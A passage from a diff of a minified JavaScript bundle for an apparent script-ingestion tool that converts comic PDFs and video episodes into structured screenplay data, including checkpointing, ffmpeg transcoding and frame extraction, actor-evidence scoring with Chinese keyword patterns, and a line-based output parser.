a)n.clearError(`ep/ep_${Ya(_.episode)}.error.json`);s.current_error&&s.current_error.unit.episode<=c.context.lastEpisode&&(delete s.current_error,s.updated=new Date().toISOString(),n.writeJson("manifest.json",s))}else for(let _ of jh)so.rmSync(n.path(_),{force:!0});for(let _ of r){if(e.signal?.throwIfAborted(),_.episode<=c.context.lastEpisode){e.executor.recordReuse("ingest.comic-serial");let M=Date.now();l.flush({scope:{kind:"episode",episode:_.episode},status:"reused",startedAtMs:M,endedAtMs:M}),f.windowDone(_.episode,_.episode,0,!0);continue}if(e.step&&y>=1)break;let x=Date.now(),E=`ep/ep_${Ya(_.episode)}`,A=s.current_error?.unit.episode===_.episode?s.current_error.failure.message:void 0,k=Ba(c.context)+(A?`
271
271
 
272
272
  \u672C\u8BDD\u4E0A\u4E00\u6B21\u8F93\u51FA\u5C1A\u672A\u88AB\u63A5\u53D7\uFF0C\u5931\u8D25\u539F\u56E0\uFF1A${A}\u3002\u8BF7\u6839\u636E\u539F PDF \u8FD4\u56DE\u4FEE\u6B63\u540E\u7684\u5B8C\u6574\u672C\u8BDD\uFF1B\u5C24\u5176\u9010\u9879\u6838\u5BF9\u6BCF\u4E2A\u5730\u70B9\u3001\u4EBA\u7269\u548C\u5173\u952E\u9053\u5177\u5F15\u7528\u662F\u5426\u5DF2\u7ECF\u767B\u8BB0\u3002`:"");n.writeText(`${E}.context.md`,k),process.stderr.write(`\u6F2B\u753B ${_.episode}/${r.length} \xB7 ${_.title} \xB7 ${_.page_count} \u9875
273
- `);let N="upload";try{g??=e.executor.documentPort("ingest.comic-serial");let M=n.path(`${E}.input.pdf`);wi(M,Buffer.from(await Ph(ao.readFileSync(_.path))));let I=await g.prepare(M,e.signal),O;try{N="generate";let ie=A&&n.has(`${E}.response.json`)&&s.current_error?.phase==="validation"?wl(ao.readFileSync(n.path(`${E}.response.json`),"utf8"),_.page_count):await Gh(g,I,_.title,_.page_count,k,j=>n.writeText(`${E}.response.json`,j),e.signal);O={episode:_.episode,document_id:_.document_id,title:_.title,output:ie}}finally{await g.release(I,e.signal)}N="validation";let U=us(structuredClone(c.context),O.output,_.episode),C=[...a,O],R;try{R=Za(C,{context:U,identityMap:c.identityMap},p)}catch(ie){if(!(ie instanceof S)||ie.errorCode!=="INGEST_VALIDATION_FAILED")throw ie;process.stderr.write(`\u6B63\u5728\u6839\u636E\u539F\u7A3F\u8865\u5168\u4EBA\u7269\u3001\u5730\u70B9\u548C\u9053\u5177\u767B\u8BB0\uFF0C\u4FDD\u7559\u5DF2\u8F6C\u5F55\u6B63\u6587\u2026
274
- `);let j=await g.prepare(M,e.signal);try{O.output.registry_delta=await Bh(g,j,O.output,k,ie.message,e.signal),n.writeJson(`${E}.response.json`,O.output)}finally{await g.release(j,e.signal)}U=us(structuredClone(c.context),O.output,_.episode),R=Za(C,{context:U,identityMap:c.identityMap},p)}let K={context:U,identityMap:R.identityMap};N="checkpoint",n.writeJson(`${E}.json`,O),n.writeJson("checkpoint.json",K),c=K,a.push(O),N="publish",_l(n,R,c.context),n.clearError(`${E}.error.json`),delete s.current_error,s.updated=new Date().toISOString(),n.writeJson("manifest.json",s),y++;let Z=Date.now();f.windowDone(_.episode,_.episode,Z-x,!1),l.flush({scope:{kind:"episode",episode:_.episode},status:"succeeded",startedAtMs:x,endedAtMs:Z});let Re=O.output.scenes.reduce((ie,j)=>ie+j.actions.length,0);process.stderr.write(` \u5DF2\u4FDD\u5B58\uFF1A${O.output.scenes.length} \u573A / ${Re} \u6761\u6B63\u6587
275
- `)}catch(M){let I=Ya(M,_.episode,N);throw n.writeJson(`${E}.error.json`,I),n.writeJson("manifest.json",{...s,updated:I.occurred_at,current_error:I}),l.flush({scope:{kind:"episode",episode:_.episode},status:"failed",startedAtMs:x,endedAtMs:Date.now()}),M}}let w=Za(a,c,p);_l(n,w,c.context);let h=a.length===r.length;return u="succeeded",{workspace:n.root,script_path:n.path("script.json"),kind:"comic",episodes:r.length,processed:y,reused:m,completed:a.length,remaining:r.length-a.length,complete:h,next_episode:h?null:a.length+1,assets:{actors:w.scriptV4.actors.length,locations:w.scriptV4.locations.length,props:w.scriptV4.props.length}}}finally{f.phaseEnd("serial"),f.finish(),l.finish(u)}}async function Hh(e){return Ko(e.workspacePath,()=>EA(e))}import*as kt from"node:fs";import*as Ft from"node:path";function xA(e,t){return e.episode!==t.episode?`episode ${e.episode} was replaced by episode ${t.episode}`:e.ext!==t.ext||e.mime!==t.mime?`episode ${e.episode} changed media type`:e.sha256!==t.sha256?`episode ${e.episode} content changed`:null}function Qh(e,t){if(t.length<e.length)return{kind:"incompatible",reason:`source removed ${e.length-t.length} previously accepted episode(s)`};for(let o=0;o<e.length;o+=1){let i=xA(e[o],t[o]);if(i)return{kind:"incompatible",reason:i}}let n=t.slice(e.length);return n.length===0?{kind:"unchanged",appended:[]}:{kind:"append",appended:n}}function Wa(e){for(let t=0;t<e.length;t+=1){let n=t+1,o=e[t].episode;if(o!==n)return`expected episode ${n}, found episode ${o}`}return null}function gr(e){let t=typeof e=="string"?e.trim():"",n=t.match(/^(?:(\d+):)?(\d+):(\d{2})(\.\d{1,3})?$/);if(!n)return t;let o=Number(n[1]??0),i=Number(n[2]),r=Number(n[3]);if(![o,i,r].every(Number.isSafeInteger))return t;let s=o*3600+i*60+r,c=Math.floor(s/3600),a=Math.floor(s%3600/60),d=s%60;return(c>0?`${c}:${String(a).padStart(2,"0")}:${String(d).padStart(2,"0")}`:`${String(a).padStart(2,"0")}:${String(d).padStart(2,"0")}`)+(n[4]??"")}function hr(e,t){if(!e)return e;let n=e.match(/^(\w+):(.+)$/);return n?`${n[1]}:${t.get(n[2])??n[2]}`:t.get(e)??e}var Fh=e=>String(e).padStart(3,"0"),SA={\u5185:"interior",\u5916:"exterior"},IA={act:"action",dlg:"dialogue",think:"inner_thought"},El={broadcast:"broadcast",system:"system",group:"group",offscreen:"offscreen",prop:"offscreen",location:"offscreen"};function AA(e){let t=e.match(/^(\w+):(.+)$/);if(t&&El[t[1]]){let n=t[2].trim();return n?{kind:El[t[1]],label:n}:{kind:El[t[1]]}}return dt(e)?{kind:"group",label:e.trim()}:{name:e}}function Yh(e,t){let n=0,o=e.map((i,r)=>{let s=`video:episode:${i.episode}`,c=new Map;return{identity_key:s,episode_id:`ep_${Fh(r+1)}`,scenes:i.scenes.map(a=>{let d=a.timeRange?.trim()?`time:${a.timeRange.trim()}`:`index:${a.index}`,p=(c.get(d)??0)+1;c.set(d,p);let l=`${s}:scene:${d}:${p}`,f={},u=SA[(a.environment.space??"").trim()],y=To(a.environment.time);u&&(f.space=u),y&&(f.time=y);let m=[],g=A=>{m.some(k=>k.name===A)||m.push({name:A})};for(let A of a.characters)A.name&&!dt(A.name)&&(A.states.length===0?m.push({name:A.name}):m.push(...A.states.map(k=>({name:A.name,state:k}))));let w=new Map,h=a.anchors.map(A=>{let k=gr(A.ts),N=k?`time:${k}`:`content:${JSON.stringify([A.kind,A.speaker??"",A.content])}`,M=(w.get(N)??0)+1;w.set(N,M);let I={identity_key:`${l}:action:${N}:${M}`,type:IA[A.kind]??"action",content:A.content};if((A.kind==="dlg"||A.kind==="think")&&A.speaker){let U=AA(A.speaker);I.speaker=U,"name"in U&&g(U.name)}A.parenthetical&&(I.parenthetical=A.parenthetical);let O=gr(A.ts);return O&&(I.extend={timestamp:O}),I}),_=(a.location??"").trim(),x=[],E=new Set;for(let A of a.props??[]){if(!A)continue;let k=A.normalize("NFC").replace(/\s+/g," ").trim();!k||E.has(k)||(E.add(k),x.push({name:A}))}return{identity_key:l,scene_id:`scn_${Fh(++n)}`,...f.space||f.time?{environment:f}:{},location:_?{name:_}:null,actors:m,props:x,actions:h}})}});return{title:t,episodes:o}}var kA=60,bA=6,vA=[-1e3,0,1e3],Xh=/(?:身穿|穿着|服装|造型|衣|裙|袍|衫|夹克|制服|西装|盔甲|装甲|防弹服|套装|裤|靴)/u,xl=/(?:全身|半身|上半身|四分之三身|躯干|胸前|腰部)/u,Sl=/(?:站(?:在|立)|坐(?:在|下|起)|跪(?:在|下|倒)?|蹲(?:在|下)?|走(?:在|出|向)|行走|迈步|奔跑|跳起|跃起|转身|抬头|转头)/u,qh=/(?:特写|近景|脸|面容|五官|正脸|侧脸|侧前脸|双眼|眼眶|眉头|嘴角)/u,ey=/(?:背对|背影|远处|极远|模糊|运动模糊|脸被遮|面部遮挡|只露出|纯道具|空镜)/u,ty=/(?:双脚|脚部|膝盖|伤口|手部特写)/u,ny=/(?:画外音|旁白|未入镜|镜外|电话音|广播|\bO\.?S\.?\b)/iu;function jo(e){return e.normalize("NFC").replace(/\s+/g," ").trim()}function oy(e){let t=e.trim().match(/^(?:(\d{1,2}):)?(\d{1,2}):(\d{2})(?:\.(\d{1,3}))?$/);if(!t)return null;let n=Number(t[1]??0),o=Number(t[2]),i=Number(t[3]);if(o>=60&&t[1]!==void 0||i>=60)return null;let r=String(t[4]??"").padEnd(3,"0");return((n*60+o)*60+i)*1e3+Number(r||0)}function iy(e){let t=e.trim().match(/^(\d+):(\d{2})$/);return t?Number(t[1])*1e3+Number(t[2])*10:null}function ry(e,t="clock"){return t==="legacy_centiseconds"?iy(e):oy(e)}function Il(e,t){return e===null?!1:t===void 0||e<=t}function OA(e,t){if(t===void 0)return"clock";let n=e.scenes.flatMap(r=>r.actions.map(sy)).filter(Boolean),o=n.filter(r=>Il(oy(r),t)).length;return n.filter(r=>Il(iy(r),t)).length>o?"legacy_centiseconds":"clock"}function Zh(e){let t=Math.floor(e/6e4),n=Math.floor(e%6e4/1e3),o=e%1e3;return`${String(t).padStart(2,"0")}:${String(n).padStart(2,"0")}.${String(o).padStart(3,"0")}`}function sy(e){let t=e.extend?.timestamp;return typeof t=="string"?t.trim():""}function RA(e,t){let n=new Set([e.actor_name,...e.aliases??[]].map(jo).filter(Boolean));for(let[o,i]of t)jo(i)===jo(e.actor_name)&&n.add(jo(o));return[...n].sort((o,i)=>i.length-o.length)}function ay(e,t){let n=t.map(o=>e.indexOf(o)).filter(o=>o>=0);return n.length>0?Math.min(...n):-1}function cy(e,t,n){return t.filter(o=>ay(e,n.get(o.actor_id)??[])>=0).length}function MA({action:e,actor:t,actorCount:n,allActors:o,surfaces:i,surfacesByActor:r,stateName:s}){let c=e.type==="action"||e.type==="transition",a=jo(c?e.content:"parenthetical"in e?e.parenthetical??"":""),d=ay(a,i),p=d>=0&&d<=12,l=d>=0,u=e.type==="dialogue"&&"speaker"in e&&"actor_id"in e.speaker&&e.speaker.actor_id===t.actor_id&&!ny.test(a),y=n===1&&(c&&a.length>0||u&&a.length>0&&(Sl.test(a)||qh.test(a)));if(!l&&!u&&!y)return null;let m=p||u?"target_anchor":"scene_fallback",g=u?250:p?65:l?50:45,w=u?250:p?65:l?50:45;n===1&&(g+=20,w+=20);let h=jo(s);return h&&h!=="default"&&h!=="\u9ED8\u8BA4"&&a.includes(h)&&(g+=35),Xh.test(a)&&(g+=30),xl.test(a)?(g+=25,w+=15):Sl.test(a)&&(g+=15,w+=5),qh.test(a)&&(w+=30,xl.test(a)||(g-=20)),ey.test(a)&&(g-=70,w-=70),ty.test(a)&&(g-=40),cy(a,o,r)>=2&&(g-=15,w-=15),{stateScore:g,identityScore:w,selection:m}}function LA(e,t,n){let o=e.type==="action"||e.type==="transition",i="parenthetical"in e?jo(e.parenthetical??""):"";if(!o&&ny.test(i))return null;let r=jo(o?e.content:i),s=o?0:-40;return s-=cy(r,t,n)*20,Xh.test(r)&&(s+=10),xl.test(r)?s+=10:Sl.test(r)&&(s+=5),ey.test(r)&&(s-=20),ty.test(r)&&(s-=10),{stateScore:s,identityScore:Number.NEGATIVE_INFINITY,selection:"scene_fallback"}}function gs(e,t,n){let o=(n.get(`${e.episode}:${e.milliseconds}`)?.size??0)>1;return e[t]-(o?35:0)}function dy(e,t,n,o,i){let r=new Map;for(let a of e){let d=`${a.episode}:${a.milliseconds}`,p=r.get(d);(!p||gs(a,t,n)>gs(p,t,n))&&r.set(d,a)}let s=[...r.values()].sort((a,d)=>gs(d,t,n)-gs(a,t,n)||a.episode-d.episode||a.milliseconds-d.milliseconds).filter(a=>i===null||gs(a,t,n)>=i),c=[];for(let a of s)if(!c.some(p=>p.episode===a.episode&&p.sceneId===a.sceneId&&Math.abs(p.milliseconds-a.milliseconds)<3e3)&&(c.push(a),c.length>=o))break;return c}function NA(e,t,n){return dy(e,t,n,1,null)[0]??null}function Wh(e){return e.replace(/[^0-9]+/g,"-").replace(/^-|-$/g,"")||"unknown"}function Xa(e,t,n,o,i){let r=new Map(o.map(g=>[g.episode,g])),s=Jo(n.registry),c=new Map(t.actors.map(g=>[g.actor_id,g])),a=new Map(t.actors.map(g=>[g.actor_id,RA(g,s)])),d=new Map,p=new Map,l=new Map,f=new Map;for(let g=0;g<t.episodes.length;g+=1){let w=t.episodes[g],h=g+1,_=r.get(h);if(!_)continue;let x=OA(w,_.duration_ms);for(let E=0;E<w.scenes.length;E+=1){let A=w.scenes[E],k=A.actors.map(N=>c.get(N.actor_id)).filter(N=>!!N);for(let N of A.actors){d.set(N.actor_id,(d.get(N.actor_id)??0)+1);let M=c.get(N.actor_id);if(!M)continue;let I=a.get(M.actor_id)??[M.actor_name],O=[],U=N.state_ids.length===1?N.state_ids[0]:null,C=U?M.states.find(R=>R.state_id===U):null;for(let R of A.actions){let K=sy(R),Z=ry(K,x);if(!Il(Z,_.duration_ms))continue;let Re=MA({action:R,actor:M,actorCount:k.length,allActors:k,surfaces:I,surfacesByActor:a,stateName:C?.state_name??"default"}),ie=Re??(C?LA(R,k,a):null);if(!ie)continue;let j={actorId:M.actor_id,episode:h,episodeId:w.episode_id,sceneId:A.scene_id,timestamp:Zh(Z),milliseconds:Z,durationMs:_.duration_ms,stateScore:ie.stateScore,identityScore:ie.identityScore,selection:ie.selection,sourcePath:_.path,sourceSha256:_.sha256};if(O.push(j),Re){let vt=`${h}:${Z}`,P=f.get(vt)??new Set;P.add(M.actor_id),f.set(vt,P)}}if(O.length>0){let R=p.get(M.actor_id)??[];if(R.push(...O),p.set(M.actor_id,R),C){let K=`${M.actor_id}:${C.state_id}`,Z=l.get(K)??[];Z.push(...O),l.set(K,Z)}}}}}let u=(g,w)=>{let h=c.get(g),_=c.get(w),x=h?.importance==="background"?1:0,E=_?.importance==="background"?1:0;return x-E||(d.get(w)??0)-(d.get(g)??0)||(h?.actor_name??g).localeCompare(_?.actor_name??w,"zh-CN")},y=[...l.entries()].flatMap(([g,w])=>{let[h,_]=g.split(":"),x=h?c.get(h):void 0,E=x?.states.find(M=>M.state_id===_),A=NA(w,"stateScore",f);if(!x||!E||!A)return[];let k=`state:${x.actor_id}:${E.state_id}`,N=vA.map(M=>{let I=A.durationMs===void 0?Number.POSITIVE_INFINITY:Math.max(0,A.durationMs-50),O=Math.min(I,Math.max(0,A.milliseconds+M)),U=Zh(O);return{evidence_id:`${k}:${A.episode}:${U}`,episode:A.episode,episode_id:A.episodeId,scene_id:A.sceneId,timestamp:U,offset_ms:M,selection:A.selection,source_sha256:A.sourceSha256,source_path:A.sourcePath,frame_path:`evidence/frames/${x.actor_id}/${E.state_id}/ep_${String(A.episode).padStart(3,"0")}_${Wh(U)}.jpg`,frame_status:"pending"}}).filter((M,I,O)=>O.findIndex(U=>U.timestamp===M.timestamp)===I);return[{evidence_id:k,asset_kind:"actor",actor_id:x.actor_id,actor_name:x.actor_name,state_id:E.state_id,state_name:E.state_name,samples:N}]}).sort((g,w)=>u(g.actor_id,w.actor_id)||g.state_name.localeCompare(w.state_name,"zh-CN")),m=[...p.entries()].flatMap(([g,w])=>{let h=c.get(g),_=dy(w,"identityScore",f,bA,kA);if(!h||_.length===0)return[];let x=`identity:${h.actor_id}`;return[{evidence_id:x,asset_kind:"actor",actor_id:h.actor_id,actor_name:h.actor_name,samples:_.map(E=>({evidence_id:`${x}:${E.episode}:${E.timestamp}`,episode:E.episode,episode_id:E.episodeId,scene_id:E.sceneId,timestamp:E.timestamp,offset_ms:0,selection:E.selection,source_sha256:E.sourceSha256,source_path:E.sourcePath,frame_path:`evidence/frames/${h.actor_id}/identity/ep_${String(E.episode).padStart(3,"0")}_${Wh(E.timestamp)}.jpg`,frame_status:"pending"}))}]}).sort((g,w)=>u(g.actor_id,w.actor_id));return{version:2,source_sha256:i,items:y,identities:m}}function py(e){return ry(e)}function ly(e,t){let n=e.scenes.map((o,i)=>{let r={};o.environment?.space&&(r.space=o.environment.space),o.environment?.time&&(r.time=o.environment.time);let s=(o.anchors??[]).map(c=>({kind:c.kind,...c.speaker?{speaker:c.speaker}:{},...c.parenthetical?{parenthetical:c.parenthetical}:{},...c.ts?{ts:c.ts}:{},content:c.content??""}));return{index:i+1,environment:r,...o.timeRange?{timeRange:o.timeRange}:{},...o.location?{location:o.location}:{},characters:(o.characters??[]).filter(c=>c.name).map(c=>({name:c.name,states:[...c.states]})),props:(o.props??[]).filter(Boolean),anchors:s}});return{episode:t,synopsis:(e.synopsis??"").trim(),scenes:n,actors:[],locations:[],props:[],speakers:[],actorStates:[],locationStates:[],propStates:[]}}import*as ec from"node:path";function fy(e){return ec.extname(e).toLowerCase()}function UA(e){return Op[fy(e)]??"application/octet-stream"}function uy(e,t){return new S(e,{exitCode:b,errorCode:"INGEST_VIDEO_DISCOVERY",hint:"Name every episode file with a number, or none of them, and rerun `scriptctl ingest`.",data:{actual:t}})}function Al(e,t){return{episode:t,path:e,ext:fy(e),mime:UA(e)}}function tc(e){if(e.kind!=="video-file"&&e.kind!=="video-directory")throw new S("Expected video source.",{exitCode:b,errorCode:"INGEST_WRONG_PIPELINE"});if(e.kind==="video-file")return[Al(e.path,1)];let t=e.files,n=t.map(za),o=n.filter(r=>r!==null);if(o.length===0)return t.map((r,s)=>Al(r,s+1));if(o.length!==t.length){let r=t.filter((s,c)=>n[c]===null).map(s=>ec.basename(s));throw uy("Some episode files carry a number and some do not.",[`unnumbered: ${r.join(", ")}`])}let i=new Set;for(let r of o){if(i.has(r))throw uy("Two episode files resolve to the same number.",[`duplicate episode: ${r}`]);i.add(r)}return t.map((r,s)=>Al(r,n[s])).sort((r,s)=>r.episode-s.episode)}import*as my from"node:fs";import*as gy from"node:path";function hy(e,t=[],n){let o=new Map(t.map(r=>[r.episode,r])),i=n?Date.parse(n):Number.NaN;return e.map(r=>{let s=gy.resolve(r.path),c=my.statSync(s),a=c.size,d=Math.trunc(c.mtimeMs),p=o.get(r.episode),l=p&&p.size_bytes===a&&p.mtime_ms===d,f=p&&p.size_bytes===void 0&&p.mtime_ms===void 0&&p.path===s&&Number.isFinite(i)&&c.mtimeMs<=i,u=p&&p.ext===r.ext&&p.mime===r.mime&&(l||f)?p.sha256:Rc(s);return{episode:r.episode,path:s,ext:r.ext,mime:r.mime,sha256:u,size_bytes:a,mtime_ms:d}})}function nc(e){return _e(JSON.stringify(e.map(t=>({episode:t.episode,ext:t.ext,mime:t.mime,sha256:t.sha256}))))}import{spawn as PA}from"node:child_process";import*as gt from"node:fs";import*as yy from"node:path";var CA=20*1024*1024,TA="scale='if(gt(a,1),min(1280,iw),-2)':'if(gt(a,1),-2,min(1280,ih))'";function VA(e,t){return["-y","-loglevel","error","-i",e,"-vf",TA,"-c:v","libx264","-preset","medium","-crf","27","-pix_fmt","yuv420p","-c:a","aac","-b:a","96k","-movflags","+faststart","-f","mp4",t]}function $A(e,t,n){return new Promise((o,i)=>{if(n?.aborted){i(new Error("aborted"));return}let r=PA("ffmpeg",VA(e,t),{stdio:["ignore","ignore","pipe"]}),s="";r.stderr?.on("data",a=>{s+=String(a)});let c=()=>{r.kill("SIGKILL")};n?.addEventListener("abort",c,{once:!0}),r.on("error",a=>{n?.removeEventListener("abort",c),i(a)}),r.on("close",a=>{n?.removeEventListener("abort",c),a===0?o():i(new Error(`ffmpeg exited ${a}: ${s.trim().slice(0,300)}`))})})}async function wy(e,t,n,o){if(gt.existsSync(t)&&(gt.statSync(t).size??0)>0)return{path:t,mime:"video/mp4",transcoded:!0};let i=0;try{i=gt.statSync(e).size}catch{}if(i>0&&i<=CA)return{path:e,mime:n,transcoded:!1,note:`already ${(i/1024/1024).toFixed(1)}MB (\u226420MB)`};let r=`${t}.part`;try{if(gt.mkdirSync(yy.dirname(t),{recursive:!0}),gt.rmSync(r,{force:!0}),await $A(e,r,o),!gt.existsSync(r)||gt.statSync(r).size===0)throw new Error("ffmpeg produced no output");return gt.renameSync(r,t),{path:t,mime:"video/mp4",transcoded:!0}}catch(s){try{gt.rmSync(r,{force:!0}),gt.rmSync(t,{force:!0})}catch{}if(o?.aborted)throw s instanceof Error?s:new Error(String(s));let c=s instanceof Error?s.message:String(s);return{path:e,mime:n,transcoded:!1,note:`transcode failed, uploading original (${c})`}}}import{spawn as DA}from"node:child_process";import*as je from"node:fs";import*as _y from"node:path";var GA="scale='if(gt(a,1),min(960,iw),-2)':'if(gt(a,1),-2,min(960,ih))'",BA=4;function JA(e){let t=py(e);return t===null?null:(t/1e3).toFixed(3)}var KA=async(e,t,n,o)=>{if(o?.aborted)throw new Error("aborted");let i=JA(t);if(i===null)return{ok:!1,error:"invalid timestamp"};try{if(!je.existsSync(e)||je.statSync(e).size===0)return{ok:!1,error:"source video is unavailable or empty"}}catch{return{ok:!1,error:"source video is unavailable"}}je.mkdirSync(_y.dirname(n),{recursive:!0});let r=`${n}.part`;return je.rmSync(r,{force:!0}),new Promise((s,c)=>{let a=DA("ffmpeg",["-y","-loglevel","error","-ss",i,"-i",e,"-frames:v","1","-vf",GA,"-q:v","3","-f","image2",r],{stdio:["ignore","ignore","pipe"]});a.stderr?.resume();let d=()=>{a.kill("SIGKILL")};o?.addEventListener("abort",d,{once:!0}),a.on("error",()=>{o?.removeEventListener("abort",d),je.rmSync(r,{force:!0}),o?.aborted?c(new Error("aborted")):s({ok:!1,error:"frame extractor unavailable"})}),a.on("close",p=>{if(o?.removeEventListener("abort",d),o?.aborted){je.rmSync(r,{force:!0}),c(new Error("aborted"));return}if(p===0&&je.existsSync(r)&&je.statSync(r).size>0){je.renameSync(r,n),s({ok:!0});return}je.rmSync(r,{force:!0}),s({ok:!1,error:`frame extraction failed (exit ${p??"unknown"})`})})})};function jA(e){let{source_path:t,...n}=e;return n}async function oc(e,t,n,o=KA,i={}){let r=i.reuseExistingFrames!==!1,s=[...t.items.flatMap(y=>y.samples),...(t.identities??[]).flatMap(y=>y.samples)],c=new Map,a=0,d=async()=>{for(;;){let y=a;if(a+=1,y>=s.length)return;if(n?.aborted)throw new Error("aborted");let m=s[y],g=e.path(m.frame_path),w;r&&je.existsSync(g)&&je.statSync(g).size>0?w={ok:!0}:(je.rmSync(g,{force:!0}),w=await o(m.source_path,m.timestamp,g,n)),c.set(m,jA({...m,frame_status:w.ok?"ready":"unavailable",...w.error?{error:w.error}:{}}))}};await Promise.all(Array.from({length:Math.min(BA,s.length)},()=>d()));let p=y=>y.map(m=>c.get(m)),l=t.items.map(y=>({...y,samples:p(y.samples)})),f=(t.identities??[]).map(y=>({...y,samples:p(y.samples)})),u={version:2,generated_at:new Date().toISOString(),source_sha256:t.source_sha256,items:l,...f.length>0?{identities:f}:{}};if(e.has("evidence/state-evidence.json"))try{let y=e.readJson("evidence/state-evidence.json"),m=g=>JSON.stringify({version:g.version,source_sha256:g.source_sha256,items:g.items,identities:g.identities??[]});if(m(y)===m(u))return y}catch{}return e.writeJson("evidence/state-evidence.json",u),u}var zA=new Set(["apparent_gender","apparent_age","face_shape","brows_eyes","nose","mouth","skin_features","hair","build","voice"]),kl=()=>({apparent_gender:"",apparent_age:"",face_shape:"",brows_eyes:"",nose:"",mouth:"",skin_features:"",hair:"",build:"",persistent_marks:[],voice:""}),yr=(e,t)=>{let n=e.split("|"),o=n.slice(0,t-1).map(r=>r.trim()),i=n.slice(t-1).join("|").trim();for(;o.length<t-1;)o.push("");return[...o,i]};function bl(e){let t=[],n=[],o=[],i=[],r=[],s=[],c=[],a="",d,p,l=!1,f=0;for(let u of e.split(/\r?\n/)){let y=u.replace(/|/g,"|").trim().replace(/^[-*]\s+/,"");if(!y||y.startsWith("```"))continue;f++;let g=d&&!p&&/^\d{2}:\d{2}\|[^|]*\|/.test(y)&&y.split("|").length===3?["","shot",y]:/^([a-z_]+):?\s*(.*)$/.exec(y),w=g?.[1]??"",h=g?.[2]??"",_=x=>p[x];if(w==="synopsis"){a=h;continue}if(w==="scene"){let[x,E,A,k]=yr(h,4);d={space:x,time:E,timeRange:A,location:k,characters:[],props:[],shots:[],voices:[]},t.push(d),p=void 0;continue}if(d&&!p){if(w==="char"){let[x,...E]=h.split("|").map(A=>A.trim());x&&d.characters.push({name:x,states:E.filter(Boolean)});continue}if(w==="props"){d.props.push(...h.split("|").map(x=>x.trim()).filter(Boolean));continue}if(w==="shot"){let[x,E,A]=yr(h,3);d.shots.push({ts:x,camera:E,visual:A});continue}if(w==="dlg"||w==="think"){let[x,E,A,k]=yr(h,4);d.voices.push({kind:w,speaker:E,parenthetical:A,ts:x,content:k});continue}}if(w==="new"){let[x,E,A,k]=yr(h,4);p={name:E,kind:x,status:A,importance:k,recognition_anchors:[],identity_profile:kl(),appearance:"",role:"",states:[],aliases:[]},l=!1,n.push(p);continue}if(w==="enrich"){p={name:h.trim(),add_recognition_anchors:[],identity_profile_patch:kl(),appearance:"",add_aliases:[],add_states:[]},l=!0,o.push(p);continue}if(w==="rename"){let[x,E,A]=yr(h,3);i.push({from_name:x,canonical_name:E,evidence:A}),p=void 0;continue}if(w==="open"){r.push({text:h.trim()}),p=void 0;continue}if(w==="close"){s.push({ref:h.trim()}),p=void 0;continue}if(p){if(l&&w==="identity_revision"){p.identity_revision={profile:kl(),recognition_anchors:[]};continue}let x=p.identity_revision,E=x?.profile??p[l?"identity_profile_patch":"identity_profile"];if(zA.has(w)){E[w]=h.trim();continue}let A=h.split("|").map(k=>k.trim()).filter(Boolean);if(w==="mark"){E.persistent_marks.push(...A);continue}if(w==="anchor"||w==="anchors"){(x?x.recognition_anchors:_(l?"add_recognition_anchors":"recognition_anchors")).push(...A);continue}if(w==="alias"){_(l?"add_aliases":"aliases").push(...A);continue}if(w==="role"||w==="appearance"){p[w]=h.trim();continue}if(w==="state"){let[k,N]=yr(h,2);_(l?"add_states":"states").push({name:k,description:N});continue}}c.push(y)}return{value:{synopsis:a,scenes:t,registry_delta:{new_entities:n,enrich:o,canonicalize:i},open_threads:{opened:r,closed:s}},recognized:f-c.length,unknown:c}}var Ey=e=>bl(e).recognized>0,xy=`\u3010\u8F93\u51FA\u683C\u5F0F\uFF1A\u884C\u5F0F DSL\u3011\u53EA\u8F93\u51FA\u4E0B\u5217\u683C\u5F0F\u7684\u7EAF\u6587\u672C\uFF0C\u4E0D\u8981 JSON\u3001Markdown \u4EE3\u7801\u5757\u3001\u6807\u9898\u6216\u4EFB\u4F55\u89E3\u91CA\u3002\u4E00\u884C\u4E00\u6761\u8BB0\u5F55\uFF1A\u884C\u9996\u662F\u5C0F\u5199\u6807\u7B7E\uFF0C\u6807\u7B7E\u540E\u4E00\u4E2A\u7A7A\u683C\uFF0C\u5B57\u6BB5\u4E4B\u95F4\u7528\u534A\u89D2 | \u5206\u9694\uFF1B\u6700\u540E\u4E00\u4E2A\u5B57\u6BB5\u53EF\u4EE5\u5305\u542B\u4EFB\u610F\u6587\u5B57\u3002\u4EFB\u4F55\u503C\u5185\u90FD\u4E0D\u6362\u884C\u3001\u4E0D\u5199 |\u3002\u53EF\u9009\u5B57\u6BB5\u4E3A\u7A7A\u65F6\u4FDD\u7559\u5206\u9694\u7B26\u3002\u89C4\u5219\u6B63\u6587\u91CC\u7684\u5B57\u6BB5\u540D\u4E0E\u672C\u683C\u5F0F\u5BF9\u5E94\uFF1Ascenes=scene \u5757\uFF0Cshots=shot \u884C\uFF0Cvoices=dlg/think \u884C\uFF0Cregistry_delta.new_entities=new \u5757\uFF0Cenrich=enrich \u5757\uFF0Ccanonicalize=rename \u884C\uFF0Copen_threads=open/close \u884C\uFF0Cidentity_revision=\u6E05\u7A7A\u753B\u50CF\u4E0E\u951A\u70B9\u884C\u3002
273
+ `);let N="upload";try{g??=e.executor.documentPort("ingest.comic-serial");let M=n.path(`${E}.input.pdf`);yi(M,Buffer.from(await Uh(so.readFileSync(_.path))));let I=await g.prepare(M,e.signal),O;try{N="generate";let ie=A&&n.has(`${E}.response.json`)&&s.current_error?.phase==="validation"?yl(so.readFileSync(n.path(`${E}.response.json`),"utf8"),_.page_count):await Dh(g,I,_.title,_.page_count,k,j=>n.writeText(`${E}.response.json`,j),e.signal);O={episode:_.episode,document_id:_.document_id,title:_.title,output:ie}}finally{await g.release(I,e.signal)}N="validation";let U=ps(structuredClone(c.context),O.output,_.episode),C=[...a,O],R;try{R=qa(C,{context:U,identityMap:c.identityMap},p)}catch(ie){if(!(ie instanceof S)||ie.errorCode!=="INGEST_VALIDATION_FAILED")throw ie;process.stderr.write(`\u6B63\u5728\u6839\u636E\u539F\u7A3F\u8865\u5168\u4EBA\u7269\u3001\u5730\u70B9\u548C\u9053\u5177\u767B\u8BB0\uFF0C\u4FDD\u7559\u5DF2\u8F6C\u5F55\u6B63\u6587\u2026
274
